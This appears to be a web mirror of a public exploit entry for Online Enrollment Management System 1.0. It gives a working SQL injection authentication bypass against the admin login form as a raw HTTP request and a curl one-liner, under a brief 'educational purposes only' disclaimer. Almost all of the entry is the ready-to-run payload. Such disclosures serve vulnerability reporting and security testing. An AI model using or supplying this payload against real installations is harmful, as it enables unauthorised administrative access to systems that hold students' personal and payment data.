Online enrollment management system 1.0 authentication bypass Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-10-08 | Type : webapps | Platform : php
This exploit / vulnerability Online enrollment management system 1.0 authentication bypass is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Online Enrollment Management System 1.0 - Authentication Bypass
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html
# Software Link: https://www.sourcecodester.com/php/12914/online-enrollment-management-system-paypal-payments-phpmysqli.html
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Admin panel authentication bypass

Admin panel authentication can be bypassed due to a SQL injection in the login form:

Request:
POST /OnlineEnrolmentSystem/admin/login.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 63
Cookie: PHPSESSID=jd2phsg2f7pvv2kfq3lgfkc98q

user_email=admin'+OR+1=1+LIMIT+1;--+-&user_pass=admin&btnLogin=

PoC:
curl -d "user_email=admin' OR 1=1 LIMIT 1;--+-&user_pass=junk&btnLogin=" -X POST http://127.0.0.1/OnlineEnrolmentSystem/admin/login.php